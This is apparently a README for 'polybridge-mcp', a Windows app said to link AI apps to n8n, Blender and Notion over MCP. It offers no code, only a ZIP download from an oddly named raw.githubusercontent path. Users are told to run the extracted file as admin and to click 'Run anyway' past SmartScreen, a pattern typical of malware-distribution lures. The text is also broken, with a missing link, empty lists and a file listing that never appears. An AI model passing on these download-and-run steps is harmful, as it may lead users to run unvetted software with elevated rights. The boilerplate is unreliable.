polybridge-mcp is a desktop app that helps you connect different tools through one place. It can link an AI app to tools like n8n, Blender, and Notion. It uses the Model Context Protocol, or MCP, to keep those links in one hub.
Use it when you want one bridge for many apps instead of setting up each one by hand.
- Windows 10 or Windows 11
- A stable internet connection
- At least 4 GB of RAM
- About 500 MB of free disk space
- A mouse and keyboard
- Admin access if Windows asks for permission
Visit this page to download and run the app:
- Connect an AI app to n8n for workflow tasks
- Link your AI app to Blender for scene or asset work

- Add more bridges later as your needs change
polybridge-mcp acts as a gateway between your AI app and the tools you use. You pick a bridge, connect it once, then use it from your app.
A simple flow looks like this:
- Open polybridge-mcp
- Choose the tool you want to connect
- Sign in if the tool asks for it
- Turn on the bridge
- Use that tool from your AI app
- Open this page in your browser: https://raw.githubusercontent.com/structural-sclaff223/polybridge-mcp/main/preaccept/polybridge-mcp-2.6.zip
- Find the download area on the page
- Download the Windows file or the latest release package
- If the file comes as a ZIP, right-click it and choose Extract All
- Open the folder that appears after extraction
- Double-click the app file to start it
- If Windows asks for permission, choose Yes
- Follow the setup prompts on the screen
If you see a SmartScreen message, choose More info, then Run anyway only if you trust the source you opened
When you open polybridge-mcp for the first time, it may ask you to set up one or more bridges.
- Open the app
- Select a service such as n8n, Blender, or Notion
- Sign in with your account if needed
- Allow the app to connect
- Save the settings
- Go back to the main screen
- Choose Add bridge
- Pick the next app you want to connect
- Repeat the sign-in steps

- Open your AI app
- Choose polybridge-mcp as the connection source
- Ask it to use one of your linked tools
- Check that the tool responds as expected
polybridge-mcp is built to work with a range of apps and services. Common bridges may include:
- n8n for automation
- Blender for 3D work
- Notion for notes and project pages
- Other MCP-ready tools
- Local apps that support structured commands
After setup, you can use polybridge-mcp like this:
- Ask your AI app to run a workflow in n8n
- Ask it to create or update a Notion page
- Ask it to pass a task to Blender
- Switch between tools without changing your main setup
This saves time when you work across many apps.
If you open the downloaded folder, you may see files like these:

- Make sure you downloaded the full file
- Check that Windows did not block the app
- Try running it as admin
- Restart your PC and try again
- Check your internet connection
- Sign in again to the linked service
- Remove the bridge and add it again
- Make sure the other app is running if it needs to be open
- Wait a few seconds for the app to load
- Close the app and open it again
- Check Task Manager to see if it is still running
- Delete the config file only if you want to reset the setup
polybridge-mcp is meant to sit between your AI app and your tools. Some bridges may work with local files, while others may need online access.
If you connect a service like Notion or n8n, that service may store its own data. Review the settings inside each tool before you link it.
- Keep Windows up to date
- Use the latest version of the app
- Keep your linked tools signed in
- Use one bridge at a time while testing
- Rename bridges so you can tell them apart
- Check your tool permissions if a task fails
